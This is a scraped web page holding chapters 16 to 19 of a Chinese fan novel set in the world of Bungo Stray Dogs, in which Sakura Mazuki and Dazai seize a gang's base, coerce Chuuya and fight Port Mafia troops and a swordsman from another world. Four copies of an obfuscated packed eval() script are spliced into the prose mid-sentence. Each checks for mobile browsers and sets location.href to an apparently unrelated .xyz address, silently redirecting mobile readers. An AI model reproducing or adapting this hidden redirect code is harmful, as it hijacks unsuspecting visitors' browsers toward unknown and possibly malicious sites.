;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336764|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武器的，那么我要开始送客了哦~” 话音落下的刹那，上膛的枪口再一次提起，扣动扳机的手才弯曲，冷调的金属反光就到了。 樱真月没有一点留手，和枪-管一起跌落的还有鲜血，人群里，只有同为异能者的干部大佐勉强反应过来，闪躲仓促，他只来得及退到走廊上，但下一瞬，胁差的刀刃再次劈来，凛然的杀意彻底包裹着他。 很难想象，一个尚处在幼年期的少年，居然能打出这样没有一点多余动作的，凌厉又血腥的杀招，简直是……简直就像是，在面对随时随地跟人大小爆的港口黑手党老首领一样！ 但是，他们港口黑手党的老首领是因为年迈和疾病陷入疯狂，他一个少年，为什么会有这么美好的精神状态？！ 更重要的是，横滨什么时候出现这么一号人物！ 他是谁？外地人？异能者？杀手……不对，传闻中最厉害的双枪杀手不是已经因为凶杀案入狱，至今没有被放出来吗？ 想不通！ 血液飞溅开，躲闪不及的干部大佐中了一刀，这一刀原本应该劈断他的脖子，是对方脚下的地板忽然融化——这是他的异能，最终刀尖只划进胸腔里，但是融化的地板无法控制樱真月，他跳了起来，动作快到几乎不需要落地借力。 瞬息间，干部大佐又中了一刀。 还有一刀。 疼痛都变得麻木，血液已经完全浸透他的西装，原本整齐的头发也沾上尘土，变得狼狈不堪，就在他以为要被杀死的时候，半空刺下的胁差悬停在心脏之上—— 脚步声响了起来。 黑色的风衣在空中划过，是情报办公室里的另一个缠着绷带的少年。 “所有的情况我都已经知道了，”缠着绷带的少年走到他面前，垂眸看着他，“那么，你需要买武器吗？” 干部大佐：“……” 说不买的话，能活着离开这里吗？ 在他的沉默里，太宰知道了他的回答：“太好了，你是我们的第一个客人，但是没有折扣。除此之外，我记得你是目前港口黑手党唯二的干部吧，面对一个陷入疯狂的首领一定很辛苦吧，那么记得要好好给我们扬名哦，就这样，不送……哦对了，记得把地面清理干净，我们马上要迎接下一波客人了。” 逃出生天的干部大佐很快带着濒死的同伴离开，周围再次沉寂。昏黄的灯光铺陈，不需要特别安排，樱真月按着地图，找到审讯室，见到审讯室里的‘羊’。 蓝色的腕带还在手上，被折磨的浑身是血的白濑还不知道今夜发生了什么，直到他被樱真月提到太宰面前，熟悉的绷带倒映在震惊的瞳孔里，他还没来得及说话，由远及近的一声熟悉的怒吼鼓动耳膜，黑红的异能光一连砸碎几道墙，最终站定在他们面前。 暗绿色的机车马甲，橙发，钴蓝色的眼睛，是中原中也。 在他的身后，无路可走的乱步只能沿着墙壁倒塌的废墟，艰难的一步一跳。 16.016 【第十六章：哈哈，你又被吓到啦~】 闯进赌场的中原中也，第一眼先是看到他此行的目的：浑身是血的白濑。 而后眼角余光划过，落在旋转椅上跷脚坐着的太宰，以及在他身后提着胁差的樱真月。 钴蓝的瞳孔骤然缩紧，黑红的异能刹那亮起，脚下的地砖如蛛丝般龟裂，应激的中原中也暴躁的开口：“混蛋，又是你们两个！” 太宰没有跟笨蛋讲话的意思，他重新转向电脑整理自己需要的数据，樱真月只好接过介绍的职责： “啊，是被吓得心脏扑通扑通狂跳的中也君啊~真是好久不见了，过得还好吗？晚上睡觉没有做噩梦吧，话说回来，欢迎光临，这里是没什么人承认的‘天人五衰’走私集团，请问是老板吗？要购买什么样的武器吗？看在我们认识的份上，但是也不会打折的哦~” 听到前两句，中原中也已经要跳起来了，但话锋转得太快，太截然不同，他一口气闷在嗓子里，只暴躁又茫然地哈了一声：“什么‘天人五衰’？这里不是九条组吗？等等，你们俩的组织名字叫‘天人五衰’？” 将将赶到的乱步听到这句话，瞳孔一震。 “一开始确实是九条组，”樱真月热心地解释，“但是很抱歉，赶在你们的前面，在十分钟前，我们攻占了这里，掠夺了这里所有的财产，包括这位白濑先生，啊对了，墙也是我们的，你撞烂了，记得赔钱——如果你不赔的话，那我就把羊的成员都吊起来挂到路灯上。” 中也：“……” 中也：“哈？我又没说不赔，等等，我为什么要赔……” “等——一——下——！！！” 不可置信的声音打断了中也的话，是乱步。 乱步跳下墙体倒塌后的废墟，目光灼灼，一瞬不瞬地看着太宰和樱真月：“什么‘天人五衰’？” “是没什么人承认的‘天人五衰’。” “为什么是没什么人承认的‘天人五衰’？” 樱真月眨了眨眼：“当然你也可以叫我们没什么人承认的‘粗点心痴汉协会’，没什么人承认的‘自由小丑’，我们一共有五个名字。” 当然，无论哪个名字都不可能五票通过。 在他心里，太宰温情陪伴团是最无懈可击的，但太宰不认可，太宰还会杀了他！ 乱步：“……” 乱步：“…………算了，没什么人承认的‘天人五衰’也挺好的。” 中原中也看了看他，又看了看还算温和的樱真月，困惑：“你们认识？” 樱真月：“不哦~” 乱步也头一撇，大声糊弄：“不认识！只是从来没有听说过这个名字！” 中也一想，他也没听过什么‘天人五衰’。在日常的生活里，作为能和港口黑手党并列提及的组织，‘羊’也会尽可能的收集情报，确实有人见过太宰——毕竟缠着绷带这点，怎么样看都有些奇怪，但樱真月却像是凭空冒出来的。 在此之前，根本没人知道，横滨人群里，居然还有一个这么能打的人存在。 虽然不至于没有做噩梦，但刀尖对准喉咙的惊悚感至今还缠绕着他。 他无法理解，一般人是为了心中所想战斗，竭尽全力，一点点爆发潜能，但樱真月不一样，这人一出手就带着狂风暴雨的感觉，像是……黑化状态的关底BOSS。但是，这样一个人，现在却提到站在那个绷带怪人身后，也就是说，在他们这个组织里，樱真月是服从绷带怪人的。 到目前为止，他只在擂钵街暴乱的那一夜窥见过太宰不同寻常的一面，他至今都记得，在那如血的黄昏里，以子弹爆炸声和金属碎裂声为背景，明明是被限制被囚困的人，他却漫不经心的勾起微笑。 所有的轻慢都被收敛，中原中也重新看向太宰，他没忘，他之所以会在这个时间出现在这里，是因为吃完蟹肉炒饭，但没被毒死的乱步突然告诉他港口黑手党出动了。 一开始他还不明白为什么要特意提一句，港口黑手党每天晚上都会出没在横滨街头，然后，果不其然的，乱步很生气，一边大声的嚷嚷着什么‘你明明都知道’，一边东一句西一句的费劲解释原因——看得出他真的很聪明，但真的很不会和人交流。 很多常人毫无关联的事情，在他眼里就像毫无遮挡的明牌，他怀疑这是对方的异能，对方是智力型的异能者。异能者都是珍贵的，‘羊’里只是有他一个异能者就能在横滨站稳脚跟，再多一个……虽然不愿意承认，但经过这次的事情，他很清楚，‘羊’确实很需要一个能引领他们、帮助他们看清局势的人。 这是他愿意耐着性子对待对方的原因。 因为对方真的很不会跟人交流，在他眼里，他用异能看到的所有事情，他都默认其他人应该一清二楚。[7] 本应该一清二楚的人，却一直装傻，一直回避，这是乱步一直很生气的原因。 但是，身为武斗派，他真的不清楚。 生气的乱步又花了点时间解释，他才知道港口黑手党的目的地是九条组，九条组里关着白濑，如果他不能最快的赶到，白濑会死掉。 然而，他还是晚了，这里已经被太宰和樱真月占领了。 如果是樱真月的话，他没有十足的把握能救下白濑，但是为了保护同伴，他一定会竭尽全力。 看着骤然凝练气息的中原中也，樱真月歪了歪头，他思考了两秒，拔刀劈向白濑。 除了太宰和乱步，谁都没预料到他的动作，钴蓝的瞳孔猛地缩起。没能反应过来的白濑愣了很久，才通过贴紧皮肤的刺骨凉意意识到发生了什么。 “哈哈哈，”樱真月恶意满满的笑出来，“你又被吓到啦~~” 中原中也：“……” 火气砰地烧起，被戏弄的中也只觉得有什么要从口腔里喷出来，“你这混蛋——” “嘛嘛~”樱真月笑眯眯的摆手，“别生气嘛，我可不会哄你的哦。毕竟我还记得是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343361|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绑架了阿治，还弄坏了阿治的衣服，额外一提，那件衣服二亿日元。” 中也：“……” 中也：“什么东西？那不是你手工做的吗？手工做的衣服怎么可能那么贵！” 又不是什么顶级国际设计师。 樱真月继续微笑：“就是因为是我亲手做的，所以我说多少钱就是多少钱啊。好了，现在涨价了，变成十二亿日元了。” 中也：“…………” 牙都要咬碎了，中也撇开头恶狠狠地磨牙：“绝对！我绝对要杀了这两个家伙！！” 樱真月听到了，但樱真月没在意，因为玩的很开心，他的周身都冒出了愉快的小花花，直到这时，旋转椅上的太宰甩出一张写满信息的纸。 “亲密的谈话就到这里吧，”黑色的风衣在旋转椅上划过，太宰站起身，看向中也，“想必你已经搞清楚，这里不是你可以随便闯入的地方，当然，身负巨额债务的你想要带走你的同伴也不是不可以，只要付出相应的劳动力。” 中也沉默了。 中也转头看向乱步。 乱步还是有点生气，他鼓着脸：“你看我干什么，欠十二亿的又不是我！” 中也：“……” ……不是，怎么有一种被仙人跳了的感觉？！ 乱步贴脸输出：“虽然我跟你是一边的了。但是，谁让你们想不开要绑架太宰？你们绑架的时候，想过能打赢樱真月吗？” 中也：“…………” 乱步继续输出：“所以说，事已至此，就算是我也没有什么办法，要不这样，你先听听他们需要什么劳动力，要是实在觉得他们把你当黑奴，你再奋起反抗，争取把樱真月灌进水泥柱沉到海里去。” 中也：“………………” 很有道理，且没办法反驳。 中也转头，恨铁不成钢的看了一眼白濑后，重新对上太宰的视线。 忙了一晚上，太宰的兴致已经下跌了，他把写满信息的纸张团成团丢到中也手里，“放心吧，我知道一个脑子只有一丁点大的蛞蝓的工作能力，嘛，简单点说，你要在最短的时间里将那批武器回收，五天，不，三天的时间送到这里，然后你就可以把你没脑子的同伴领回去了。” 中也沉默了。 中也不可置信，他摊开纸张，上面写了二十多个组织的信息，大部分的组织他都知道，是乱步跟他说过的，是入侵‘羊’，并绑架了他的同伴的组织，“这么多的组织，你就给我三天时间？！” 太宰：“三天你觉得太长了吗？” 樱真月：“额外一提，我一天就能搞定啦~” 中也：“……” 中也恶狠狠地转向乱步：“他们把我当黑奴，我能冲上去把他们杀了吗？” 乱步好没气的摊手：“请。” 唰地一声刀锋出鞘，笑眯眯的樱真月提着寒光熠熠的刀，拎着白濑就像拎着待宰的羔羊。 中也：“…………” 17.017 【第十七章：卧底‘入侵者’之前】 消耗一个中原中也，计划plan B完美达成。 目送愤怒的中原中也带着外挂乱步展开工作，十分开心的樱真月指使人质白濑进行基地重建——虽然他表现得很开心，但他跟中原中也说如果不把墙修好，他就把羊的成员都挂到路灯上的事，并不是开玩笑的。 大概是中原中也走得太干脆，而他手上的刀又太瘆人，受伤的白濑一句话都没说，就识趣的夹起尾巴开始基础的清扫。 一个人的工作进度很慢，樱真月很贴心的让他拨了几个电话，把中也先前救下的羊的成员都摇来当苦力。 相比于其他的地方，横滨是个多灾多难的城市，为了应对各种人灾和人祸，这里的房子建得格外扎实，整个九条组基地，从外到里，中也一共创翻三道墙，但失去了三面墙的房子居然完全没有倒塌的意思，樱真月非常满意，他搬了一把椅子，大马金刀一坐，像个恶毒的包工头一样指使着羊的成员改造房子。 首先，地板要铺木的，木地板显得温馨，赌场纸醉金迷的灯光要换成暖光灯，角落的保险柜换成零食柜，庄台拆了，做成武器展示柜，再摆个大大的冰箱，除此之外，休息室里还要有可以不用但必须要有的柔软的床和舒适的洗浴设备。 被武力压制，农·白濑等人·奴爆发小宇宙，已经完全忘记了，他们最开始的工作只是修缮倒塌的砖墙。 等到天将将亮起，九条组，噢，不，没什么人承认的‘天人五衰’走私集团基地已经改建一新，辛苦劳作的农奴们瘫了一地，但樱真月毫不在意，他弯腰伸手，用一个十足的贵族礼仪盛情邀请太宰和他一起参观。 但太宰没什么兴趣。 太宰扫了一眼异常温馨的四周，无情地发表结论：“弄得再好也没用吧，反正威严受损的港口黑手党很快会发起第二次进攻。” 到时候枪林弹雨一扫，四周又会一片狼藉。 空气一静，瘫在地上，仿佛已经死了的农奴们齐刷刷扭头，不可置信瞪着樱真月。 樱真月挠挠头，粉色的眼睛弯到一起：“哈哈哈，被发现啦~” 白濑：“……” 羊的成员：“……” 好恶劣！ 真的不能杀了他吗？！ 樱真月继续笑：“没关系的，等港口黑手党的武装部队攻进来的到时候，我们就让羊的成员站在最前面，充当人形盾牌。” 白濑：“…………” 羊的成员：“…………” 可恶！ 要不是真的打不过他，早就跟他爆了！ 太宰不置可否，作为一个三十天里把费奥多尔卖三次的人，樱真月难道会是什么不记仇的好人吗？要不说他们五个人能坐一桌呢。不过，就算是这样，在第二次面对中原中也，生气的樱真月也没有直接冲上去，可见还维持着理智。 不需要费心思考樱真月的事情，那就只需要思考接下来的事，近两年疯狂扩张的港口黑手党一定不会放过截胡的他们，所以二次进攻是必然的，而且必然是集结了港口黑手党主力军的进攻，这就意味着，他们没有多余的时间去回收依旧散落在其他组织的武器——这是他们给中原中也下套的根本原因。 他并没有忘记，为了保证他们被遗忘的，脆弱的世界能延续下去，在乱步进入‘羊’，费奥多尔潜伏港口黑手党之后，他的主要目的是卧底‘入侵者’阵营。 卧底‘入侵者’之前，得先要找到‘入侵者’。 想要找到‘入侵者’，就必须知道‘入侵者’想要做什么。 从倒了大霉的‘羊’来看，作为‘入侵者’，对方的阵营没有选择直接武力降维打击，而是耗时耗力的挑起争端，试图让他们内部自我消耗——这只能证明，对方的阵营没有能力直接干翻全场。 而‘书’上提示过，‘入侵者’是因为把自己的世界搞崩了，才会走上入侵的道路，但是，众所周知，原始人是没办法把世界搞崩溃的，和平的没有斗争的世界也不会自己崩溃…… 唔，太宰思索着，信息还是太少了，仅仅只能推断出，对方的世界不是平凡的世界，有派系斗争，科技有一定的发展，但综合水平不会超越他们太多，不过这些都还无法下定论，需要更多的信息。 想要从对方手里得到更多的信息，就只能顺着对方的心思挑起争端：抢夺九条组的遗产，挑衅港口黑手党，再让中原中也代为回收武器。 对于他们脆弱的世界来说，争端是一种没有收获的消耗，所以为了能控制消耗程度，所有的争端都必须掌控在他们手里。 天边晦暗的蓝色彻底淡去，朝阳越过海平面，重新升起。 沉睡的城市再次迎来喧嚣，忙碌的人们穿过红绿灯，走进高耸的CBD大楼，日复一日，没人知道今天的世界和昨天有什么不同，只有忙碌的宅急便邮递员，将昨夜收到的早餐订单送进擂钵街外的书店，送进港口黑手党，送进改建一新的‘天人五衰’基地。 彼时，邪恶包工头樱真月还坐在椅子上，在他的面前，是土下座的白濑几人，几人面前摆着几张纸笔，正在写关于不小心绑架了太宰的忏悔书。 在他们的旁边，还有一个空着的，摆着纸笔的位置，那是给中原中也预留的。 虽然中原中也现在正像黑奴一样给他们打工。 今日的早晨宅急便依旧是饭团，连着吃了好几天的饭团，哪怕是再不挑剔的樱真月都要吃吐了，他恹恹的回头看太宰，看太宰手里的饭团，太宰也没吃。 “呐呐呐，阿治，我也去学做饭吧！” 太宰连头都没抬：“你不是会做饭吗？” 樱真月：“是会做，但不够好吃，或许我应该努力一下，像隔壁那个谁一样，把早中午餐都做得很美味，这样就能让你也每天开开心心的了。” 太宰：“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349712|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 太宰：“…………” 同样看过‘书’，太宰知道他说的是谁，但他并不想在这种事情上发表无聊的感想，他叹了一口气，放下工作，嫌弃的拆开饭团的包装，“我说你啊，与其思考这种事情，不如想一想，怎么对付港口黑手党吧，对方可是黑暗里的怪兽，拥有着横滨最多的异能者。” 虽然没有加入港口黑手党，但知道所有的平行世界，还有额外拥有所有的同位体的记忆，他可以说是最了解港口黑手党的人之一，那些绝密的，外人无从得知的情报都刻在他的脑子里。 与此同时，港口黑手党总部。 踩着朝阳，走进大厅，乘上电梯，落拓的医生按照例行安排，在层层安保核对后，穿过五步一岗十步一查的长廊，最终推开位于顶层的首领办公室，这个地方横滨最安全的地方之一，可通电的防弹落地窗，火箭推进榴弹都无法破坏的墙体，这里本应该恢宏大气，但现在却暗沉、阴霾，无处不在的空气里全是消毒水的气味，还有弥散不去的腐朽气息，和一点点不易察觉的硝烟气。 躺在病床上的首领，粗粗的喘着气，因愤怒引发的气血上涌，青筋暴起都还留在脸上。 几乎只是一个照面，落拓的医生就已经知道，在十分钟之前，这里刚发生了一场汇报，由汇报引发首领震怒，震怒的老首领固执的惩处了相关的人员。 这是疯狂扩张后的港口黑手党的日常。 虽然只是一个医生，但作为一个从异能战场-常暗岛退下来的，拥有理想的医生，他很清楚过去短短几天里，那场由‘羊’作为起点的暴乱，他也知道落到棋盘上，被激怒的港口黑手党只是一枚小小的棋子，执棋手还藏在阴影里，还没展露他们的目标。 “森医生……” 仿佛破旧的抽风箱，病床上年迈的老首领看着他信任的医生。 “是。”扩散的思索顷刻收回，森鸥外垂下猩红的眼眸，一半抱怨一半安抚的劝说：“真是的，首领又生气了啊，不管怎么样，为了身体健康，请一定要遵守医嘱，控制好脾气啊。接下来，就由我为首领例行检查身体吧。” 半个小时后。 首领办公室的门再次打开，森鸥外走了来，门外长廊依旧，荷枪实弹的守卫就像雕像一样，他踩着柔软的长毛地毯，乘着电梯口回到大厅，迎面碰见一身绅士西装的中年人。 擦肩而过的刹那，森鸥外温和的打招呼：“大佐干部。” 干部大佐停下来，锋利的眼睛落到医生的白大褂上。 森鸥外神色不变：“就算很忙碌，受伤了还要及时处理伤口啊，发炎了就不好了。” 大厅外，晴空一望无际。 整齐列队的港口黑手党武装部队扛着枪和子弹，正等待着他们的长官带领他们赶赴一无所知的战场。支撑着港口黑手党的，让他们一往无前的原则里，必不可少的一条是： 受到攻击就加倍奉还！ 18.018 【第十八章：……‘第一次’见到你。】 作为最了解世界的人之一，太宰能给中原中也武器回收清单，当然也能给樱真月港口黑手党人手名单。 时间线还很早，现在的他们才十二岁。 他们的世界是因为选择诞生，虽然脆弱，虽然被遗忘，但也延承主世界的世界线；此时，异能战争刚结束不久，作为曾经的政方特工，主暗杀工作的福泽社长没能遇到乱步，最后由夏目老师推荐，以异能许可证为基础，建立起的保镖社还不到两年，还处在崛起阶段；从常暗岛退下来的森鸥外也还没来得及篡位登基，港口黑手党还在年迈的老首领掌控下，渐渐成为混乱和无序的代名词。 从熟知后续的角度上讲，在不干预的情况下，港口黑手党会继续膨胀，继续演变，从因为车辆被乱涂乱画就下令杀死街上所有的红发少年，到怀疑敌对组织干部潜伏就下毒杀死一整个公寓的人，再到凡是说港口黑手党坏话的人一律杀无赦……达到混乱的极致之后，森鸥外会以杀死老首领的方式篡位，以此登上政治舞台。 不得不说，作为夏目老师的弟子，奉行‘最优解’的森鸥外确实是整顿横滨黑夜的最佳人选，‘书’中记录的所有世界都证明了这一点。 不是没有能取代他的人，比如太宰就可以，但太宰对这种牛马社畜工作不感兴趣，而且，一旦太宰接手，世界就可能朝着‘首领宰’的世界策马狂奔。 扯远了，话又说回来，森鸥外还没有篡位，横滨的黑夜混乱不堪，港口黑手党作为最令人恐惧的黑夜暴君，旗下的异能者多不胜数，作为能肩负组织未来的旗会暂且不提，光是干部大佐，大佐之下由港口黑手党栽培的黑夜之花尾崎红叶，同为首领亲信的管理黑蜥蜴的百夫长广津柳浪…… “能打的人也不少……” 通往没什么人承认的天人五衰基地的必经之路上，微风高扬粉色的马尾，为了保住献给太宰的温馨基地，选择主动出击的樱真月蹲在路灯灯柱上，认真比对着太宰给他的港口黑手党出战名单·预测版——预测版已经被樱真月用笔涂掉，在旁边补上正确版几个字。 他坚信太宰的预测就是对的，如果不对，那他就手动帮港口黑手党调整正确的出战思路。 出战名单上写着，受到挑衅的港口黑手党会加大武力输出，但不会全力输出，也是，毕竟在老首领疯狂的极度扩张之后，很多地方都需要人手维持，所以负责剿灭他们的依旧是干部大佐。 又是干部大佐，这个人到中年，一身班味，活人微死的大佐先生，在挨了他那么多刀之后，居然没有接受医院治疗，又一次带领队伍发起进攻，樱真月都差点要敬佩他了。 “这就是信仰的力量吗？”贫穷的樱真月欷歔，“不，或许，也可能是港口黑手党工资多。” 想到这里，他敲了敲挂在耳边的耳麦，“阿治，港口黑手党的工资水平线是多少呀？” “500万日元。” “……居然比普通职员的平均工资低嘛，怎么会这样！” “嗯嗯，”太宰很敷衍，毕竟很多人都活不到领工资的时候，“要是觉得很低，你完全可以杀进港口黑手党，宣布占领他们，然后拔高工资水平线。” 樱真月没有思考，全是信任：“欸——真的假的，我能进攻港口黑手党了吗？” 太宰：“假的。请给我安分一点，闹出不正确的选择只好大家一起死了。” 樱真月：“那不就是殉情吗？我完全可以哦！” “……为什么你的关注点总是那么歪？而且殉情什么的，不是要跟心爱的恋人一起嘛，”已经两天没入水了的太宰，声音里都是嫌弃，“一想到要跟你们死在一起，就从内心涌现出无比坚定的活下去的信念了。” 一长串的抱怨里，街的那边，已经远远传来脚步声。 是港口黑手党的进攻队伍，从脚步的声音看，他们非常大手笔的，携带了许多攻击力强悍的重武器，比如重型机关枪和火箭筒。 “只能是心爱的恋人吗？心爱的挚友不行吗？”樱真月提出质疑，声音散进风里，手上的动作却不停，拇指划开刀镡，胁差出鞘的刹那，整个人如同子弹一样冲进港口黑手党的队伍里。 因为太突然，港口黑手党武装部队的许多人都没反应过来，按照他们的计划，带着重火力的他们会用最暴力的手段，不计代价，以子弹为先锋，将九条组所在的街区夷为平地。 到那时，所有人都会再一次畏惧港口黑手党。 但是他们没有预料到，樱真月会在挑衅他们之后，胆敢孤身一人再一次主动出击。 最先反应过来的是干部大佐，他在刀锋抵达一起，饱受迫害的身体先一步条件反射的退后，握着的手枪格挡下第一波进攻，作为代价，陪伴了他整个黑手党生涯的老伙计-格-洛克17型手枪当场被劈成两半。 “欸——真是优秀的反应啊，”樱真月夸赞起来，“这是当上港口黑手党的干部的必备条件吗？” 大佐干部没有回答，他后撤两步，脱出胁差的攻击范围。 反应过来的港口黑手党成员，重整队伍，形成密不透风的包围圈，包围圈的中心，无处不在的风吹拂而过，轻柔的扬起衣角，如果不看那把刀，身形单薄的樱真月就像街头巷尾可以被随意迫害的流浪儿。 “小子，”大佐干部警惕的看着樱真月，“你究竟是什么人？为何要针对港口黑手党。” 樱真月歪了歪头：“你不知道我是什么人吗？昨晚回去之后没有调查吗？啊，贵组织的情报部门应该要拉出去枪毙啦~” 大佐干部：“……” 不可否认，昨夜受到挑衅之后，重伤回到港口黑手党的他连伤口都没有处理，就开始调查相关情报，但，港口黑手党的情报系统里，从未记录过与樱真月有关的情报，一点蛛丝马迹都没有，干净得仿佛有人专门清除过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354987|182754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到他接受首领的命令，带领武装部队出门之前，情报部门里，那个新入职的情报人员费奥多尔·D才出乎所有人预料的提交上一份相关情报——在那之前，他们甚至不知道樱真月的名字。 虽然情报里没有写清樱真月的异能，但大部分的信息，比如他格外关注的同伴太宰，比如爱好，比如战斗习惯，甚至连每天吃的早餐，体脂率符合标准这种信息都标记得一清二楚，这份情报是他们展开报复的依据。 依照这份情报，他们制定了先擒拿太宰，再以人质胁迫的严谨战斗计划，但没想到的是，樱真月预判了他们的预判，不按牌理出牌，直接半道拦截！ “至于为什么针对港口黑手党，”樱真月爽朗的笑起来，“还没想好，你需要的话我可以现编~额外一提，如果你不能阻拦我，我就会杀穿你们，然后杀进港口黑手党总部，向世界宣告我的存在。” 干部大佐：“……” 干部大佐气笑了：“是想把港口黑手党当做扬名的阶石吗？” 樱真月：“差不多是这么个意思吧，虽然以前不被允许，但是在制造混乱上，我其实也是很在行的。” 早些年，太宰还热衷于跑路游戏的时候，他就经常提着刀清洗港口黑手党的非法武装势力，不过那些事情的记录都被太宰和费奥多尔洗得一干二净了。 “胆敢不把港口黑手党放在眼里……” 脸色阴沉，带着浓重的杀意，干部大佐声音一落，密密麻麻的子弹顷刻扭曲空气。 这是一条不算偏僻的街道，周边有居民，有商家，甚至还有一个不大不小的公园，在这里开枪会引发什么样的混乱可以预料，应该说，正是因为混乱可以预料，樱真月才会选定这个地方。 硝烟的气息会顺着风吹向横滨的每一个地方，但锋利的刀刃更快，胁差格挡的子弹擦出火花，身处其中的樱真月恍如游龙一般，进攻的身影难以捕捉，所到之处，血液飞溅，痛苦的哀嚎源源不断，恐慌蔓延——这是一个人引发的混乱。 一个人引发的混乱就堪比上一次擂钵街深夜的究极混战。 距离不远的商铺三层顶楼，一双眼睛安静的凝望着，微风吹起他脚边的和服一角。 仿佛有所感，在人群中所向披靡的樱真月骤然抬头，胁差先一步脱手而出。投掷而出的胁差速度非常快，快到难以抓摸，更不用说紧随其后的，恍如鬼魅的身影。 悄无声息站在顶楼的身影侧身一避，胁差钉入身后的水泥墙，惯性受阻的发出铿然争鸣声。披在肩上的羽织因闪避扬起，露出腰间的武士刀，下一瞬，樱真月杀到了。 两道极快的身影在半空交手，又飞速分开。因为惯性，樱真月蹬到墙边，顺手取下自己的胁差之后，重新站定，漂亮的粉色眼睛眯到一起，他没说话，因为对面先说话了。 “你是谁？”对方厚重的围巾挡住面容，声音也沙哑难听，“这个世界，我……‘第一次’见到你。” 19.019 【第十九章：另一个世界的福泽先生……】 “‘第一次见到我’的意思是，来到这个世界之前，你见过其他人？你见过谁？见过阿治吗？” 樱真月一瞬不瞬地看着面前的剑客。 微风依旧拂过，对方没有回答。 但樱真月没有错过对方的任何反应。 “啊，见过啊。”樱真月一下变换出可爱的表情，“怎么样？阿治是不是超可爱的！我第一次见到阿治就觉得他非常可爱，不是指长相哦，当然长相也很可爱，但是但是——更可爱的是他这个人本身……” 浮夸的动作都收敛，初见时黄昏下波光粼粼的鹤见川再一次浮现，樱真月的神情带上虔诚，不需要任何人说明，不需要任何品德点缀，更不需要任何外物增添价值，在见到的那一刻，他就明白，太宰治哪怕只是站在那里，其本身就对他有莫大的吸引力。 那是自然而然会发生的事情，就像太阳与月亮存在引力那样。 根本不需要去思考。 他也确实没有思考，就遵从本心直接将这份瑰宝收入囊中，藏进领域里，然后奉上自己的所有。 “……只要见过他，就会知道，那双鸢色的眼睛警惕又疏离，看向我的时候好像连我接下来要做什么都能预判到，真的是非常非常厉害呢~” 喋喋不休的分享里，也不知道是哪一句话带来影响，剑客透不进光的黑色瞳孔有些微波动，那一刹那，无数画面次第闪过，又很快消失沉寂，他沉默了片刻，表达同意。 “太宰君确实很厉害。” 话音都没落下，樱真月再次发问：“那么，你会伤害他吗？” 剑客一顿。 这个停顿非常非常非常的短，对一般人来说，这个停顿几乎短到不可觉察，但樱真月不是普通人，他在这个问题上，甚至无法忍受分毫—— 猝不及防，胁差携带的杀气一刹那间撕裂空气。 当啷一声，耀眼的阳光下，两柄同样锋利的刀撞到一起，摩擦出刺耳的声响。 “你犹豫了。”欺身压近的樱真月敛没了所有情绪，那双本应是温柔的粉色眼睛，像是有一团火一样，“在我的面前，这种犹豫可是很要命的。” 仿佛是为了印证这句话，带着杀意的胁差再次发起攻击。满打满算，就算从娘胎开始学武术，樱真月学刀最多也才十三年不到，面前的剑客比他年长一轮都不止，然而，在密密麻麻的进攻和反击里，他丝毫不落下风。 作为入侵世界之人，剑客的刀也未尝不利。他本就喜爱刀剑，幼时和幼驯染一起竞争修习，多年下来，手里的刀就像是他身体的延伸，一呼一吸都已经变作本能，樱真月的劈斩挑砍刺他都能轻易化解，甚至还能反攻，但他的反攻也同样会被樱真月化解。 甚至，越打下去，樱真月进攻的频次就越快，就像一块海绵，飞速的消化吸收着他的进攻方式——这是个武学的天才，他甚至不需要在战斗中失败就能自行领悟。 这种方式和本能是其他人一辈子都无法企及的高度。 意识到这一点，剑客已经心生退意，他之所以会出现在这里，也只是想看看计划之外的变量。樱真月看穿了他的意图，但，樱真月会出现在这里，会挑起和港口黑手党的斗争，目的就是为了把‘入侵者’引来，他又怎么可能轻易放他离开？ 剑客挥开胁差，脚步还没退，后跳借力的樱真月就又再一次带刀前来，带着杀气的刀刃又一次当啷一声撞到一起。和太刀、打刀不同，胁差是一种短刀，刃长最长60CM，适合近身战斗，配合上樱真月形如鬼魅的速度，会让人产生一种无处不在的错觉。 